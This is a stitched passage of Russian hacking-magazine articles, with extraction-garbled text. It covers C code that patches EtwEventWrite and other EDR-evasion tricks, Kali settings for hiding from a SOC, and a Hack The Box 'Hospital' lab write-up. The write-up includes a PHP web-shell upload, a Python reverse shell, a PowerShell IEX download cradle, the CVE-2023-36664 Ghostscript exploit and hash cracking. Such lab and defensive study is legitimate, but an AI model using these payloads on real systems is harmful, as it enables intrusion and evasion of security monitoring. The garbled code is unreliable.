Так как часть механиз ма — в поль зователь ском режиме, мы можем
на него воз дей ство вать, нап ример про пат чив фун кции 

и . Конеч но, EDR может кон тро лиро вать целос тность
WinAPI и обло мать мал вари всю малину. Но в силах вирусо писа теля
испортить фун кцию  (в которую упи рают ся 

и ) непос редс твен но в момент вызова ядра. Впро чем,

это уже отдель ная исто рия. Вот при мер пат чинга :

EtwEventWrite
EtwEventWriteFull

NtTraceEvent EtwEventWrite
EtwEventWriteFull

EtwEventWrite

 // Заглушка
         unsigned char eew_patch[] = { 0x48, 0x33, 0xc0, 0xc3};
      

  
unsigned char sEEW[] = { 'E','t','w','E','v','e','n','t','W','r',

'i','t','e', 0x0 };

    int size = sizeof(eew_patch);
    ULONG OldAccessProtection = 0;

    HANDLE hProcess = GetCurrentProcess();
      

 
void *pEew = GetProcAddress(GetModuleHandle((LPCSTR) L'ntdll.dll'),

(LPCSTR) sEEW);

   if(!pEew) return 1;

 // Разрешаем записывать память
 NtProtectVirtualMemory(hProcess,
         &pEventWrite,

          (PSIZE_T) &size,
         PAGE_READWRITE,
         &OldAccessProtection);
 // Патчим
     memcpy(pEew, eew_patch, size / sizeof(eew_patch[0]));

 // Меняем права памяти обратно
     NtProtectVirtualMemory(hProcess, &pEew, &size, OldAccessProtection,
&OldAccessProtection);
}

На край ний слу чай мож но исполь зовать недоку мен тирован ную фун кцию
, которая при меня ется для отклю чения про цес са

Stack Walking (получе ния сте ка вызовов) в рам ках механиз ма APC.

EtwpDisableStackWalkApc

ÏÅÐÅÕÂÀÒ API

Еще один спо соб детек та осно ван на перех вате фун кций WinAPI и NTAPI.
Это поз воля ет сис темам EDR и AV отсле живать вызовы и смот реть парамет- 
ры, с которы ми вызыва ются фун кции. Естес твен но, эта информа ция переда- 
ется поведен ческо му ана лиза тору.

В пер вом, самом прос том приб лижении механизм перех вата я опи сывал
в статье « », да и в дру гих тоже зат рагивал. Суть метода зак- 
люча ется в том, что про изво дит ся инжект монито рящей DLL в про цесс и даль- 
нейшая обра бот ка событий вызова нуж ных WinAPI. Кро ме это го, защит ное
средс тво может пат чить началь ный код в , что бы монито рить NTAPI.

Вол шебные хуки

ntdll.dll
Для про тиво дей ствия это му сущес тву ет мно го методов обхо да. Нап ример,

в статье « » опи саны пря мые и неп рямые (indirect) вызовы фун кций
API. Кро ме того, мож но поп робовать снять непос редс твен но 
в . Если смот реть по общей эффектив ности, то, на мой взгляд,

пер спек тивнее все го тех ника неп рямых вызовов. Сре ди ее плю сов:

Вра та ада
са ми хуки

ntdll.dll

В коде нет захар дко жен ных номеров сис темных вызовов, они получа ются
динами чес ки. Это сни мает воп рос с тем, что номера вызовов в сис темной
таб лице сер висов могут неп ред ска зуемо менять ся (что они и дела ют, если
срав нить их в раз ных вер сиях Windows).

•

Точ ка вызова ядра будет не в нашем про цес се, а, как ей и положе но,
в фай ле .

•
ntdll.dll

Бу дет отсутс тво вать сам опкод инс трук ции  в коде. Ведь в обыч- 
ных при ложе ниях такой опкод не встре чает ся прак тичес ки никог да.

• syscall

ÏÎÂÅÄÅÍ×ÅÑÊÈÉ ÀÍÀËÈÇ

Этот вид детек та вре донос ного кода счи тает ся одним из самых эффектив ных,
хотя он и более рис кован ный. Если анти вирус решит, что перед ним вре- 
донос ное ПО, он сра зу же завер шит про цесс. Но если это было ошиб кой, то
поль зователь может потерять дан ные или резуль таты работы. Если такое
будет пов торять ся час то, то юзер либо отклю чит, либо сне сет анти вирус, ну
или будет мучить адми нов орга низа ции, и они сде лают что-нибудь нехоро шее
с EDR — осла бят полити ки или (о ужас!) перей дут к дру гому вен дору.

Суть поведен ческо го детек та, как ты можешь догадать ся, зак люча ется
в том, что анти вирус ана лизи рует поведе ние прог раммы. Час то мож но
выделить опре делен ный шаб лон харак терных вре донос ных активнос тей. Нап- 
ример, вот дей ствия, которые нуж но пред при нять для реали зации Process
Doppelgänging:
1. Соз дать тран закцию NTFS при помощи фун кции .CreateTransaction

2. В кон тек сте тран закции соз дать вре мен ный файл для вре донос ного кода
при помощи фун кции .CreateFileTransacted

3. Соз дать в опе ратив ной памяти буферы для вре мен ного фай ла (объ ект
«сек ция», фун кция ).NtCreateSection

4. Нас тро ить PEB для запус ка кода све жесоз данной сек ции.
5. За пус тить про цесс при помощи .NtCreateProcessEx->ResumeThread

В этом при мере вни мание прив лека ет вызов ред ких WinAPI для работы
с тран закци ями и фун кция , которая вооб ще ста ла крас- 
ной тряп кой для всех сис тем EDR. Да, мож но какие-то шаги перепи сать
при помощи дру гих фун кций с нуж ными воз можнос тями, но общая логика
будет имен но такая. И таких «шаб лонов» EDR зна ет мно го, нап ример:

NtCreateProcessEx

один про цесс запус кает дру гой из фай ла в опре делен ной дирек тории;•
что-то записы вает ся в авто заг рузку;•
один про цесс пишет в память дру гого;•
с дис ка чита ются «инте рес ные» DLL, нап ример ;• ntdll.dll

у фай ла, который выпол няет эти дей ствия, нет циф ровой под писи.•

Идея обхо да подоб ного ана лиза сво дит ся либо к мак сималь ному скры тию
сво их дей ствий (те же неп рямые сис колы), либо к мимик рии под «легаль ные»
пос ледова тель нос ти дей ствий, что бы выз вать мак сималь ное количес тво лож- 
ных сра баты ваний и зас тавить поль зовате ля отклю чить защиту. Либо мож но
ста рать ся раз рывать цепоч ку дей ствий (хотя бы во вре мени), исполь зуя тех- 
ники .сна

Нап ример, шиф рование дан ных мож но реали зовать при помощи стан дар- 
тных крип тофун кций WinAPI, и это сра зу же прив лечет вни мание. А мож но
исполь зовать недоку мен тирован ную фун кцию 

из , которая реали зует RC4, и юзать для шиф рования уже ее,

что будет весь ма вне зап но для EDR. А если еще и код будет зашиф рован
при помощи Heap, то детект точ но получит ся обой ти.

SystemFunction032
Advapi32.dll

ÒÐÀÑÑÈÐÎÂÊÀ ÑÒÅÊÀ

Дос таточ но слож ная и могучая тех ника — реконс трук ция пос ледова тель нос ти
вызовов фун кций (стек вызовов). Для каж дого потока соз дает ся свой стек
вызовов. При вызове фун кции для нее соз дает ся сте ковый фрейм, содер- 
жащий в себе аргу мен ты фун кции, локаль ные перемен ные, необ ходимые
для пос леду юще го вос ста нов ления регис тры и обратный адрес — тот, куда
передас тся управле ние, ког да фун кция отра бота ет. Дру гими сло вами, стек
пред став ляет собой упо рядо чен ный набор адре сов воз вра та фун кций,
которые вызыва лись при выпол нении прог раммы. Пос мотрим, как это устро- 
ено:

     void func2(int a, int b) {
        int c = a + b;
}

  void func1() {
    func2(10, 20);
}

  int main() {
   func1();
    return 0;
}

По шагам:
 вызыва ет , и адрес воз вра та  добав ляет ся

в стек (ведь стек име ет струк туру LIFO — пер вым вошел, пос ледним
вышел);

• main() func1() func1()

 вызыва ет , адрес воз вра та  тоже добав ляет ся
в стек;

• func1() func2() func2()

 — это вер хняя фун кция в сте ке вызовов;• func2()

ког да  завер шится, из сте ка будет уда лен адрес воз вра та,
и выпол нение перей дет к ;

• func2()

func1()

пос ле завер шения  из сте ка точ но так же уда лит ся адрес воз вра- 
та, и управле ние вер нется к .

• func1()

main()

Сис темы EDR могут монито рить стек вызовов, что бы ана лизи ровать пос- 
ледова тель ность работы фун кций. Но в нашем при мере толь ко наш код,
а EDR уме ют точ но так же реконс тру иро вать пос ледова тель ность вызовов
WinAPI.

По лучив алерт от поведен ческо го ана лиза тора, EDR зах ватит сос тояние
сте ка вызовов, сох ранит пос ледова тель ность вызовов фун кций и нач нет раз- 
матывать его в поис ках ано малий в обратном поряд ке, начиная с текуще го
момен та и дви гаясь к кор ню сте ка.

Вот пара при меров исполь зования этой тех ники. Защит ное средс тво
может перех ватить выделя ющие память фун кции WinAPI и искать адрес воз- 
вра та, ука зыва ющий на вре донос ный код. Как вари ант, анти вирус может
прос ледить стек до таких фун кций, как 
или  (точ ки вхо да для поль зователь ских потоков пос ле

их соз дания), что бы убе дить ся, что поток соз дан «нор маль ным» обра зом.

RtlUserThreadStart
BaseThreadInitThunk

Ко неч но, вре донос ный код может про тивос тоять и этим тех никам. Нап- 
ример, сущес тву ет такая шту ка, как Spoong Call Stacks — под делка сте ка
вызовов с изме нени ем обратных адре сов. Это поз воля ет запутать след
и сбить с тол ку фун кции трас сиров ки сте ка EDR.

ÂÛÂÎÄÛ

В этой статье я пос тарал ся рас ска зать, как имен но анти виру сы и EDR детек- 
тят вре донос ный код. Конеч но, я перечис лил не все средс тва: за кад ром
оста лись матема тичес кие модели ана лиза поведе ния, песоч ницы, облачный
ана лиз и про чие ухищ рения. Одна ко мы прош лись по основной логике детек- 
та вре донос ного кода, а это самое глав ное.

mailto:xtahi0nix@gmail.com
https://xakep.ru/2024/03/15/process-ghosting/
https://en.wikipedia.org/wiki/Heap%27s_algorithm
https://xakep.ru/2018/01/26/winapi-hooks/
https://xakep.ru/2023/08/08/hells-gate/
https://xakep.ru/2023/08/04/ntdll-unhooking/
https://xakep.ru/2024/03/06/sleep-obfuscation/
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ВЗЛОМ

Дис три бутив Kali Linux неверо ятно популя- 
рен сре ди пен тесте ров. Одна ко при про- 
ник новении в сеть с нас трой ками по умол- 
чанию он может соз дать мно го шума в эфи- 
ре, который не оста нет ся незаме чен ным.
В этой статье я рас ска жу о хар денин ге Kali
и о том, как научить Linux работать в наибо- 
лее тихом режиме.

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Что бы мож но было авто мати зиро вать нас трой ку, я недав но зарели зил инс- 
тру мент , написан ный на Bash. Даль ше мы под робно раз берем, что имен- 
но он дела ет.

F31

Эта статья и F31 не гаран тиру ют тебе стоп роцен тный обход сис тем,
за которы ми приг лядыва ет SOC, но ты зна читель но сни зишь веро ятность
спа лить ся. Каж дый пен тест сети уни кален, и написать уни вер саль ное
решение вряд ли воз можно. Уве рен, что есть и дру гие спо собы умень шить
шум в эфи ре. Но мы сос редото чим ся на глав ных момен тах.

ABOVE

 — еще один мой инс тру мент, это сетевой сниф фер про токо лов
для поис ка уяз вимос тей в сетевом обо рудо вании. Его работа осно вана толь- 
ко на ана лизе тра фика, что не соз дает никако го шума в эфи ре.

Above

Он охва тыва ет сле дующие про токо лы:
 CDP, LLDP, DTP, 802.1Q Frames;• L2:

 OSPF, EIGRP, VRRP, HSRP;• L3:

 LLMNR, NBT-NS, MDNS, SSDP, MNDP.• L7:

Кста ти говоря, Above недав но  в Kali Linux! Ты можешь уста новить
его пря мо из репози тори ев Kali:

вклю чили

 apt sudo apt update && sudo install above 
above --help

Что бы начать ана лизи ровать тра фик:

 250 sudo above --interface eth0 --timer --output-pcap vettel.pcap 

Здесь
 — интерфейс сис темы;• --interface eth0

 — вре мя, в течение которо го будет про водить ся ана лиз;• --timer 250

 — файл дам па тра фика, куда Above запишет все, что
смо жет най ти.

• --output-pcap

При мер работы Above

С помощью Above мож но искать век торы атак на сеть и при этом не соз давать
никако го шума в эфи ре.

ÎÁÐÀÙÅÍÈÅ Ê ÐÅÏÎÇÈÒÎÐÈßÌ

Ес ли во вре мя работы в сети в рам ках пен теста ты обра тишь ся к репози тори- 
ям Kali, имей в виду, что SOC может сра зу обна ружить это дей ствие. Даже
если вклю чить обра щение к репози тори ям через HTTPS, ты все рав но
можешь спа лить ся по DNS-зап росу.

ÎÏÅÐÀÖÈÈ Ñ ÕÎÑÒÍÅÉÌÎÌ ÑÈÑÒÅÌÛ

Да-да-да, совет менять хос тнейм Kali — это страш ный баян. Тем не менее
дефол тный хос тнейм Kali так и оста ется глав ным инди като ром обна руже ния
это го дис тра в сети.

Ре шение прос тое до безоб разия. Мы не толь ко поменя ем имя сис темы,
но и заод но зап ретим переда чу хос тней ма в пакетах DHCP, которые ухо дят,
ког да ата кующий пыта ется получить адрес в сети.

sudo hostnamectl set-hostname DESKTOP-HNA2AEVS 
  sudo sed -i "s/127.0.1.1.*/127.0.1.1\tDESKTOP-HNA2AEVS/" /etc/hosts 

От клю чить переда чу име ни сис темы по DHCP мож но в connection-фай лах
NetworkManager, добавив параметр :dhcp-send-hostname=false

  
1 

sudo sed -i '/\[ipv4\]/a dhcp-send-hostname=false' /etc/
NetworkManager/system-connections/Wired\ connection\ 

TTL

Для дис три бути вов Linux зна чение TTL рав но 64. Мож но изме нить стан дар- 
тное зна чение TTL в сис теме. Если хочешь при кинуть ся Windows, выбирай TTL
128.

80 sudo sysctl -w net.ipv4.ip_default_ttl=

Ес ли у тебя пла ны про водить MITM в сети, то можешь скрыть свой адрес
в трас сиров ке со сто роны легитим ных хос тов. Очень прос той трюк в виде
сме щения TTL с инкре мен том +1:

 TTL  1 sudo iptables -t mangle -A PREROUTING -i eth0 -j --ttl-inc

ÎÒÊËÞ×ÅÍÈÅ NTP

Твоя сис тема может пери оди чес ки обра щать ся к NTP-сер веру для син хро- 
низа ции акту аль ного вре мени. В Kali пери оди чес ки про исхо дит обра щение
к NTP по име ни DNS.

За то отклю чить син хро низа цию вре мени в Kali очень прос то:

sudo systemctl stop systemd-timesyncd 

ÐÀÁÎÒÀ Ñ NETFILTER

Нам нуж но раз решить уста нов ленные и свя зан ные меж ду собой соеди нения,
бло киро вать некор рек тные и бло киро вать TCP-сег менты с неожи дан ными
зна чени ями TCP MSS. А так же филь тро вать ICMP-тра фик и вык лючить пин ги.
Одна ко будь осто рожен: не заб локируй слу чай но ICMP Type 3, который поз- 
воля ет сис теме PMTUD избе гать избы точ ной фраг мента ции.

sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j 
ACCEPT 
sudo iptables -t mangle -A PREROUTING -m conntrack --ctstate INVALID 
-j DROP 

 0  
NEW 
sudo iptables -A INPUT -p icmp --icmp-type -m conntrack --ctstate

-j ACCEPT 
 3  

NEW 
sudo iptables -A INPUT -p icmp --icmp-type -m conntrack --ctstate

-j ACCEPT 
 11  

NEW 
sudo iptables -A INPUT -p icmp --icmp-type -m conntrack --ctstate

-j ACCEPT 
sudo iptables -A INPUT -p icmp -j DROP 

 tcp  
NEW  
sudo iptables -t mangle -A PREROUTING -p -m conntrack --ctstate

-m tcpmss ! --mss 536:65535 -j DROP 

Ог раниче ние ICMP-тра фика на тво ем хос те может
пов лиять на кор рек тную работу ICMP-ска ниро- 
вания. Имей это в виду, если будешь его исполь-
зовать. Отсле живай типы ICMP-сооб щений,
которые филь тру ются.

ÎÒÊËÞ×ÅÍÈÅ ICMP REDIRECT

Ре дирек ты ICMP слу чают ся при MITM-ата ках. На сооб щения ICMP redirect
могут стриг герить ся сис темы IDS/IPS, что ском про мети рует дей ствия ата- 
кующе го. Давай вык лючим эти сооб щения.

0 sudo sysctl -w net.ipv4.conf.all.accept_redirects=
0 sudo sysctl -w net.ipv6.conf.all.accept_redirects=

ÐÀÍÄÎÌÈÇÀÖÈß MAC-ÀÄÐÅÑÀ

Клас сика жан ра: сме на MAC-адре са на сво ем интерфей се. Думаю, пояс нять
этот пункт нет необ ходимос ти.

sudo ifconfig eth0 down 
sudo macchanger -r eth0 
sudo ifconfig eth0 up 

Так же мож но нас тро ить NetworkManager так, что бы при каж дом под клю чении
к сети MAC-адрес менял ся на слу чай ный.

  
 |  

echo -e "\n[connection]\nwifi.cloned-mac-address=random\n\n[
connection]\nethernet.cloned-mac-address=random" sudo tee -a /etc/
NetworkManager/NetworkManager.conf 

ÌÈÍÈÌÈÇÀÖÈß ØÓÌÀ

Пен тесте ры вынуж дены в сво ей работе исполь зовать ска неры (Netdiscover,
Nmap и про чие), одна ко при запус ке с уста нов ками по умол чанию эти ска- 
неры соз дают очень боль шой шум в эфи ре. Мало того что повыша ется риск
ком про мета ции дей ствий ата кующе го, так еще есть веро ятность перег рузить
сетевой ком мутатор (осо бен но если мы говорим о быс тром ARP-ска ниро- 
вании). Тре вогу может забить и сис тема Storm Control, которая управля ет
огра ниче ниями лимитов UCAST/MCAST/BCAST-тра фика.

Я нашел воз можность миними зиро вать шум в эфи ре с помощью огра ниче- 
ния ско рос ти на интерфей се сис темы. Мож но резать ско рость на интерфей се
до 30 Кбит/с, выс тавив задер жку 800 мс, что бы тот же Netdiscover не вызывал
перег рузку в эфи ре. Разуме ется, такой фикс пов лияет на ско рость работы
ска нера и ско рость переда чи дан ных, но все это толь ко ради избе жания
перег рузки. Зна чения я опре делил в сво их наб людени ях, одна ко не стес няй- 
ся регули ровать их при необ ходимос ти.

Для шей пин га я исполь зовал ути литу tc (traffic control):

sudo tc qdisc add dev eth0 root tbf rate 30kbit burst 30kbit latency 
800ms 

Ни же скрин шоты с работой ска неров Netdiscover и Nmap. Коман ды запус ка
были сле дующие:

sudo netdiscover -i eth0 
nmap sudo -n 10.10.100.0/24 

Об ращай вни мание на Outgoing — ути лита nload показы вает этот исхо дящий
тра фик (ког да ты что-то ска ниру ешь — это исхо дящий тра фик).

Ра бота Netdiscover без шей пин га тра фика

Ра бота Netdiscover с шей пин гом

Ра бота Nmap без шей пин га тра фика

Ра бота Nmap с шей пин гом

Ес ли нуж но уда лить парамет ры огра ниче ния тра фика, то для это го есть вот
такая коман да:

sudo tc qdisc del dev eth0 root 

F31

Итак, я написал скрипт F31 для авто мати зации все го про цес са нас трой ки.
Скрипт пол ностью нас тра ивает ся, и запус кать его нуж но со спе циаль ными
аргу мен тами.

 

 

 

 

sudo bash F31.sh 
███████ ██████   ██ 
██           ██ ███ 
█████    █████   ██ 
██           ██  ██ 
██      ██████   ██

F31: Tool for hiding Kali Linux on the network 
Author: Caster, @wearecaster,  
Version: 1.0.0 
For instructions and an example of how to use it, visit: 
https://github.com/wearecaster/F31 
Usage: F31.sh --interface 

casterinfosec@gmail.com

 --new-hostname  [--noise-reduction]

Options: 
  --interface       Specify the network interface to hide 
  --new-hostname    Specify the new hostname for the system 
  --noise-reduction Enable traffic shaping for noise reduction 
(optional)

Здесь
 — ука зыва ешь сетевой интерфейс сво его Kali Linux;• --interface

 — новый хос тнейм для сво его Kali Linux;• --new-hostname

 — акти вация того самого шей пин га тра фика
для миними зации шума в эфи ре. Параметр опци ональ ный, вклю чай его
при необ ходимос ти.

• --noise-reduction

sudo bash F31.sh --interface eth0 --new-hostname DESKTOP-HNA2AEVS 
--noise-reduction

На слу чай, если понадо бит ся отка тить все изме нения, я написал скрипт
, ты смо жешь его най ти в этом репози тории:reset.sh

sudo bash reset.sh --interface eth0 --old-hostname kali 

ÂÛÂÎÄÛ

Я рас ска зал об основных иде ях по поводу миними зации шума в эфи ре и хар- 
денин га Kali Linux. Акцент всех эта пов нас трой ки Kali Linux сде лан имен но
на сетевом уров не. Написать пол ноцен ный ману ал по обхо ду SOC вряд ли
воз можно, тем более всё не умес тить в одну статью. Думаю, в будущем ты
можешь ждать новые час ти Kali Ashes.

mailto:caster@exploit.org
https://github.com/wearecaster/F31
https://github.com/wearecaster/Above
https://gitlab.com/kalilinux/packages/above
mailto:casterinfosec@gmail.com
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ВЗЛОМ

В этом рай тапе мы исполь зуем уяз вимость
внед рения команд в Ghostscript с целью
фишин га. Так же получим сес сию в Docker
через заг рузку веб-шел ла и повысим при- 
виле гии в Docker через GameOverlay.

На ша цель — получе ние прав супер поль зовате ля на машине Hospital с учеб- 
ной пло щад ки . Уро вень слож ности машины — сред ний.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.241   hospital.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Наш ли мно жес тво пор тов:
22 — OpenSSH 9.0p1;•
53 — DNS;•
88 — Kerberos;•
135 — Microsoft RPC;•
139 — сер вис сеан сов NetBIOS, NetLogon;•
389 — LDAP;•
443 (HTTPS) — веб-сер вер Microsoft IIS/10.0;•
445 — SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и Exchange;•
636 — LDAP с шиф ровани ем SSL или TLS;•
3268 (LDAP) — нужен для дос тупа к Global Catalog от кли ента к кон трол- 
леру;

•

3269 (LDAPS) — нужен для дос тупа к Global Catalog от кли ента к кон трол- 
леру через защищен ное соеди нение;

•

5985 — служ ба уда лен ного управле ния WinRM;•
8080 — веб-сер вер Apache 2.4.55;•
9389 — веб-сер вер служ бы AD DS.•

В резуль татах ска ниро вания отме чаем имя хос та и домена, поэто му добав- 
ляем наши наход ки в :/etc/hosts

10.10.11.241   hospital.htb DC.hospital.htb 

За тем про веря ем сай ты на обо их веб-сер верах. И на том и на дру гом нас
встре чают фор мы авто риза ции.

Глав ная стра ница hospital.htb

Глав ная стра ница hospital.htb:8080

ÒÎ×ÊÀ ÂÕÎÄÀ

У нас есть воз можность зарегис три ровать ся, так что обя затель но сде лаем
это. Авто ризо ван ному поль зовате лю дос тупна фор ма заг рузки фай лов.

Глав ная стра ница hospital.htb:8080

Заг ружа ем тес товый файл без каких-либо проб лем. Если смо жем най ти этот
файл на сер вере, то это даст воз можность заг рузить бэк шелл.

Зап рос на заг рузку фай ла

Что бы най ти, куда заг рузил ся файл, мож но прос каниро вать катало ги сай та.

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де ,  или . Я пред почитаю

.
dirsearch DIRB ffuf

feroxbuster
При запус ке ука зыва ем сле дующие парамет ры:

 — URL;• -u

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — глу бина ска ниро вания.• -d

За пус каем :feroxbuster

 128  1 feroxbuster -u http://hospital.htb:8080/ -t -d -w directory_2.
3_medium_lowercase.txt 

Ре зуль тат ска ниро вания катало гов с помощью feroxbuster

Я не стал дожидать ся окон чания ска ниро вания, так как с пер вых же зап росов
нашел ся каталог . Поищем наш файл там.uploads

curl 'http://hospital.htb:8080/uploads/test.txt'

Зап рос на сер вер

Ви дим содер жимое нашего фай ла, а зна чит, мож но перехо дить к заг рузке
шел ла.

ÒÎ×ÊÀ ÎÏÎÐÛ

Как толь ко мы про буем заг рузить файл .php, получа ем ошиб ку. Не все так
прос то, как казалось на пер вый взгляд! Но .php — не единс твен ное рас- 
ширение фай лов, которое поз воля ет выпол нять код на веб-сер вере. Переб- 
рать все вари анты мож но с помощью .Burp Intruder

Burp Intruder — вклад ка Positions

Что бы в таб лице резуль татов появил ся ответ сер вера, мож но перей ти
на вклад ку Settings к нас трой ке Grep — Extract и добавить пра вило, которое
будет выбирать нуж ный фраг мент стра ницы.

Burp Intruder — вклад ка Settings

За пус каем перебор в один поток и получа ем спи сок рас ширений, которые
мож но исполь зовать при заг рузке.

Ре зуль тат ата ки

Тут же стол кну лись со вто рой проб лемой: не каж дый шелл отра баты вает.

curl 'http://hospital.htb:8080/uploads/test_upload.phar?cmd=id'

Зап рос к веб-шел лу

В таких слу чаях мож но исполь зовать про верен ный вари ант — ,
минима лис тичный шелл на PHP. Сра зу заг ружа ем файл как  и перехо- 

дим на стра ницу с шел лом.

p0wny-shell
.phar

p0wny-shell

Хоть это и кра сиво, но реверс-шелл всег да удоб нее.

Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, запус тивше го шелл. Для при ема соеди нения
необ ходимо соз дать на локаль ной машине listener, то есть «слу шатель».

За пус каем лис тенер ( ) и выпол няем реверс-шелл
на Python:

pwncat-cs -lp 4321

 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.73",4321));os.dup2(
s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import 
pty; pty.spawn("bash")'

Сес сия поль зовате ля www-data

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/epi052/feroxbuster
https://github.com/danielmiessler/SecLists
https://github.com/flozz/p0wny-shell


ПОЛУЧАЕМ ДОСТУП К ХОСТУ ЧЕРЕЗ
УЯЗВИМОСТЬ GHOSTSCRIPT

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ

Ïîâûøåíèå ïðèâèëåãèé â Docker
Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрипт из набора PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе будет мно го информа ции, поэто му прой дем ся толь- 
ко по самым важ ным момен там.

В сис теме два поль зовате ля с кон солью:  и .root drwilliams

Поль зовате ли сис темы

Так же нашел ся пароль от MySQL.

Най ден ные пароли

Боль ше ничего инте рес ного извлечь не уда лось, одна ко сле дует про тес- 
тировать пос ледние экс пло иты повыше ния при виле гий. Пер вым в оче реди,
конеч но, будет , который мы под робно  в рай тапе
по машине Analytics.

GameOverlay рас смат ривали

За пуск экс пло ита

Так все го в одну коман ду получа ем при виле гии рута в Docker.

docker root → drwilliams
Пер вым делом откры ваем охо ту за учет ными дан ными. Так как у нас есть при- 
виле гии рута, мы можем взять и про читать хеши паролей поль зовате лей
из фай ла ./etc/shadow

Со дер жимое фай ла /etc/shadow

Для перебо ра хеша с помощью  нуж но знать соот ветс тву ющий алго- 

рит му хеширо вания режим. Получить его мож но из справ ки прог раммы.

hashcat

 |    hashcat --example grep '\$6\$' -B6 -A6

Справ ка hashcat

А теперь переби раем пароль, ука зывая режим в парамет ре .-m

hashcat -m 1800 hash.txt rockyou.txt 

Ре зуль тат перебо ра пароля

По луча ем учет ные дан ные и с ними можем вой ти в поч ту поль зовате ля. Там
находим вхо дящее сооб щение.

Вхо дящее сооб щение

Поль зователь ожи дает файл Ghostscript с рас ширени ем .eps.

drwilliams → drbrown
Пер вым делом сто ит про верить, есть ли для обна ружен ной тех нологии
готовые экс пло иты. Самый прос той спо соб — поис кать в Google.

По иск экс пло итов в Google

Вто рая  ука зыва ет на све жую уяз вимость . Ghostscript
до 10.01.2 неп равиль но обра баты вает про вер ку раз решений, из-за чего воз- 
можно внед рение команд. В качес тве выпол няемой коман ды будем исполь- 
зовать самый типич ный заг рузчик на PowerShell:

ссыл ка CVE-2023-36664

IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.16.
73/rs.txt')

Этот заг рузчик ска чает с нашего веб-сер вера реверс-шелл и выпол нит его
сра зу в памяти.

За пус каем веб-сер вер:

python3 -m http.server 80 

Для начала прос то про верим, при дет ли зап рос.
Все прош ло успешно. Теперь запус каем генера тор, получен ный

из репози тория. Этот генера тор сде лает спе циаль ный файл, экс плу ати- 
рующий уяз вимость.

  
IEX

 

python3 CVE_2023_36664_exploit.py --inject --payload "powershell -c "
(New-Object System.Net.WebClient).DownloadString('http://10.10.16.

73/rs.txt')"" --filename rs.eps 

Ге нери рова ние наг рузки

От прав ляем поль зовате лю сге нери рован ный файл и ждем зап рос
на веб-сер вер.

Поч товый кли ент

Ло ги веб-сер вера

Зап рос при шел, а зна чит, мож но выпол нять реаль ный реверс-шелл.
Для получе ния пол ноцен ной коман дной обо лоч ки будем исполь зовать

. Толь ко в конец фай ла нуж но дописать коман ду со сво ими

парамет рами .

ConPtyShell

Invoke-ConPtyShell 10.10.16.73 443

Код реверс-шел ла

В новом тер минале запус каем лис тенер:

raw  size   443 stty -echo; (stty ; cat) | nc -lvnp

И пов торя ем отправ ку фай ла. Спус тя некото рое вре мя получа ем сес сию
нового поль зовате ля.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь исполь зуем исполня емый файл PEASS для раз ведки в Windows.
Информа ции сно ва очень мно го, отби раем ту, что име ет зна чение.

Воз можна ата ка DLL Hijacking для Apache.

Спи сок поль зователь ских служб

Есть пра во записи в каталог .C:\xampp

Спи сок уста нов ленно го ПО

Ес ли у нас получит ся записать веб-шелл в каталог веб-сер вера XAMPP, то мы
добь емся выпол нения кода от име ни SYSTEM. Про верим воз можность
записи в каталог и дос тупность записан ного фай ла.

За пись фай ла в каталог

По луче ние содер жимого фай ла

